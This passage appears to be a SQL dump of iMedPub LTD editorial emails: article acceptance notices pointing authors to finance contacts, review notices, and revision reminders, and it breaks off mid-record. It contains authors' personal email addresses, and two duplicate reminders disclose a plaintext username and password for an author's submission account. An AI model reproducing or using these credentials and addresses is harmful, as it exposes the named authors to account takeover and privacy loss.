<b>ipjbs-21-10737</b><br />\r\n            <br />\r\n            Article Title: <b>Point of use Cleaning </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Abbas </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ga401281@gmail.com',10737,'2021-10-23',988),(3872,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10783</b><br />\r\n            <br />\r\n            Article Title: <b>A REVIEW ON CORONARY ARTERY DISEASE</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Prajapati</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rushilprajapati27@gmail.com',10783,'2021-10-26',48),(3873,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10815</b><br />\r\n            <br />\r\n            Article Title: <b>PSYCHOLOGICAL IMPACT OF COVID-19 ON THE MENTAL HEALTH IN FAMILIES </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>ICEL</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','solomonicel3@gmail.com',10815,'2021-10-26',48),(3874,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10816</b><br />\r\n            <br />\r\n            Article Title: <b>&acirc;&euro;&oelig;Effectiveness of structured teaching programme on knowledge and attitude towards HIV/AIDS among school going students in selected school, Kolkata.&acirc;&euro;</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mandal</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','imandal5@gmail.com',10816,'2021-10-26',48),(3875,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10979</b><br />\r\n            <br />\r\n            Article Title: <b>THE RELIABILITY OF CARPENTER&acirc;&euro;&trade;S TRISQUARE MEASURE FOR ASSESSMENT OF POSTURAL IMAPAIRMENTS IN GERIATRIC INDIVIDUALS WITH SYMPTOMATIC OSTEOARTHRITIS OF KNEE - AN OBSERVATIONAL STUDY</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chauhan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','chauhansneha73@gmail.com',10979,'2021-10-26',48),(3876,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11031</b><br />\r\n            <br />\r\n            Article Title: <b>Hypoglycemia and Nocturnal Hypoglycemia; Diabetes Complications</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Shabir</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','nazishshabbir1@gmail.com',11031,'2021-10-26',48),(3877,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11083</b><br />\r\n            <br />\r\n            Article Title: <b>Predisposing Factors to Anaemia among Pregnant women in Wassa East district of the Western Region of Ghana.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kunamsi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kunamsiiiddrisu@gmail.com',11083,'2021-10-26',48),(3878,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11084</b><br />\r\n            <br />\r\n            Article Title: <b>TAKOTSUBO SYNDROME: ON THE PURPOSE OF A CASE</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Viloria Sanchez</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','fbarriosc10@curnvirtual.edu.co',11084,'2021-10-26',48),(3884,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-21-11104</b><br />\r\n            <br />\r\n            Article Title: <b>Mechanisms of radiotherapy associated cognitive decline in patients with brain tumours</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.transbiomedicine.com/\" target=\"_blank\">Translational Biomedicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>ALSHUHRI</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Translational Biomedicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mohammedalshuhri@hotmail.com',11104,'2021-10-27',673),(3886,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9640</b><br />\r\n            <br />\r\n            Article Title: <b>Migration of an intrauterine device to the bladder: a case report</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Javier Reyes Quan</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Loubon</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipadm-21-9640</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','christlord26@gmail.com',9640,'2021-10-27',274),(3895,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11144</b><br />\r\n            <br />\r\n            Article Title: <b>Review: Impact of Dengue and vaccines in India</b><br />\r\n            <br />\r\n            Corresponding Author: <b>rya naik</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-11144</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',11144,'2021-10-30',988),(3896,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11144</b><br />\r\n            <br />\r\n            Article Title: <b>Review: Impact of Dengue and vaccines in India</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>naik</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-30</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','arianaik16@gmail.com',11144,'2021-10-30',988),(3897,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-10342</b><br />\r\n            <br />\r\n            Article Title: <b>Role of Pharmacists during COVID-19 Pandemic...</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Bin Sawad</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','aseel_post@hotmail.com',10342,'2021-11-01',274),(3898,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11246</b><br />\r\n            <br />\r\n            Article Title: <b>The Dirty Dozen:  Assessing the Nutritional Quality of the Twelve Most Purchased Vending Items on a Large University Campus</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sankavaram</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kavitha@umd.edu',11246,'2021-11-02',48),(3899,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11307</b><br />\r\n            <br />\r\n            Article Title: <b>Compliance with standard precautions among nurses in Saudi hospitals</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>DAKHILALLAH</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','HDAKHELALLAH@MOG.GOV.SA',11307,'2021-11-02',48),(3900,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11311</b><br />\r\n            <br />\r\n            Article Title: <b>GMO and Human Health: a Review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>SALVADOR</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dharwaynesalvador@gmail.com',11311,'2021-11-02',48),(3915,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9640</b><br />\r\n            <br />\r\n            Article Title: <b>Migration of an intrauterine device to the bladder: a case report</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Reyes Quan</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipadm-21-9640</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivosdemedicina.com/\">https://www.archivosdemedicina.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>javier</b><br />\r\n            Password : <b>OeLbBSYD</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','jareq_9@hotmail.com',9640,'2021-11-06',274),(3916,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9640</b><br />\r\n            <br />\r\n            Article Title: <b>Migration of an intrauterine device to the bladder: a case report</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Reyes Quan</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipadm-21-9640</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivosdemedicina.com/\">https://www.archivosdemedicina.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>javier</b><br />\r\n            Password : <b>OeLbBSYD</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','jareq_9@hotmail.com',9640,'2021-11-06',274),(3917,'<p>Ref.:  Ms. No. : <b>ipadm-21-10147</b><br />\r\n<br />\r\nARTICLE TITLE: <b>PIE DIABETICO. HERRAMIENTAS PARA LA IDENTIFICACI&Atilde;&ldquo;N DEL PIE EN RIESGO Y SU INTERVENCI&Atilde;&ldquo;N OPORTUNA.</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Perez</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-10147</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your 